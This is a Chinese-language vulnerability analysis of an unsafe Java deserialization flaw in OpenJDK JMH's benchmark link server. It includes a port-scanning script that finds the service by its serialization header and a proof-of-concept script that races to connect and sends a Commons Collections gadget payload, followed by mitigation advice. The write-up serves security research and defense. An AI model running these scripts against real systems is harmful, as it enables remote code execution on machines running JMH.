OpenJDK JMH反序列化漏洞挖掘分析
字数 1022 2025-09-01 11:26:11
OpenJDK JMH反序列化漏洞挖掘分析教学文档
一、漏洞简介
JMH (Java Microbenchmark Harness) 是专门用于代码微基准测试的工具套件,主要用于方法层面的基准测试,精度可达纳秒级。该组件存在一个未被公开的反序列化漏洞,虽然实战意义不大,但作为研究思路具有参考价值。
二、影响版本
该漏洞影响所有版本的JMH组件。
三、漏洞挖掘分析
1. 漏洞入口分析
从官方DEMO开始分析:
public static void main(String[] args) throws RunnerException {
Options opt = new OptionsBuilder()
.include(WhatsupBro.class.getSimpleName())
.forks(1)
.build();
new Runner(opt).run();
}
关键调用链:
run()方法检查JMH参数配置- 进入
internalRun()进行初始化 - 调用
runBenchmarks(benchmarks)执行基准测试
2. 关键漏洞点
在runBenchmarks方法中,重点关注case FORKED分支:
case FORKED:
res = runSeparate(r);
break;
runSeparate方法中初始化了BinaryLinkServer对象,并启动Acceptor线程处理连接。
3. 反序列化漏洞细节
在Handler类中发现了不安全的反序列化操作:
public Handler(Socket socket) throws IOException {
this.socket = socket;
this.is = socket.getInputStream();
this.os = socket.getOutputStream();
oos = new ObjectOutputStream(new BufferedOutputStream(os, BUFFER_SIZE));
oos.flush();
}
@Override
public void run() {
try {
ois = new ObjectInputStream(new BufferedInputStream(is, BUFFER_SIZE));
while ((obj = ois.readObject()) != null) { // 反序列化点
// 处理各种帧类型
}
} catch (Exception e) {
// 异常处理
}
}
4. 端口发现机制
服务端监听随机端口:
private int getListenPort() {
return Integer.getInteger("jmh.link.port", 0); // 默认随机端口
}
但可以通过识别Java序列化流标头AC ED 00 05来发现开放端口。
四、环境搭建
- 从官方仓库下载JMH
- 等待依赖下载完成
- 运行
org/openjdk/jmh/samples下的任意DEMO
五、漏洞验证
1. 端口扫描POC
import socket
import threading
import queue
import binascii
from concurrent.futures import ThreadPoolExecutor
import sys
TARGET_HOST = "127.0.0.1"
PORT_RANGE = range(1, 65536)
TIMEOUT = 1
MAX_THREADS = 100
STREAM_HEADER = b"\xAC\xED\x00\x05"
def check_port(port):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(TIMEOUT)
sock.connect((TARGET_HOST, port))
data = sock.recv(1024)
if data.startswith(STREAM_HEADER):
hex_data = binascii.hexlify(data[:4]).decode().upper()
result_queue.put((port, hex_data))
sock.close()
except (socket.timeout, socket.error):
pass
2. 漏洞利用POC
需要添加Commons Collections依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
利用脚本:
import socket
import time
def connect_to_server():
max_attempts = 100000
attempts = 0
while attempts < max_attempts:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "127.0.0.1"
port = 9004 # 修改为目标端口
try:
client_socket.connect((host, port))
return client_socket
except socket.error:
attempts += 1
time.sleep(1)
return None
while True:
client_socket = connect_to_server()
if client_socket:
try:
with open("cc6calc.ser", "rb") as file:
while True:
data_to_send = file.read(1024)
if not data_to_send:
break
client_socket.send(data_to_send)
finally:
client_socket.close()
3. 利用限制条件
- 目标WEB应用需要同时引用JMH组件和可利用的依赖(如Commons Collections)
- 攻击工具需要比项目提前运行监听端口
- 需要扫描发现基准测试运行的随机端口
六、总结与防御建议
1. 漏洞特点
- 需要特定条件才能利用
- 需要抢占连接通道(第一个连接由JMH自身建立)
- 端口随机但可通过特征识别
2. 防御措施
- 使用固定端口参数运行JMH:
-Djmh.link.port=固定端口 - 添加JMH参数:
-Djmh.ignoreLock=true - 网络层面限制JMH端口的外部访问
- 避免在生产环境使用JMH基准测试
3. 研究价值
虽然该漏洞实战利用价值有限,但提供了以下研究思路:
- 对Java基准测试组件的安全审计方法
- 随机端口服务的识别技术
- 抢占式攻击在反序列化漏洞中的应用
该漏洞分析展示了即使是非传统Web组件也可能存在安全隐患,强调了全面安全审计的重要性。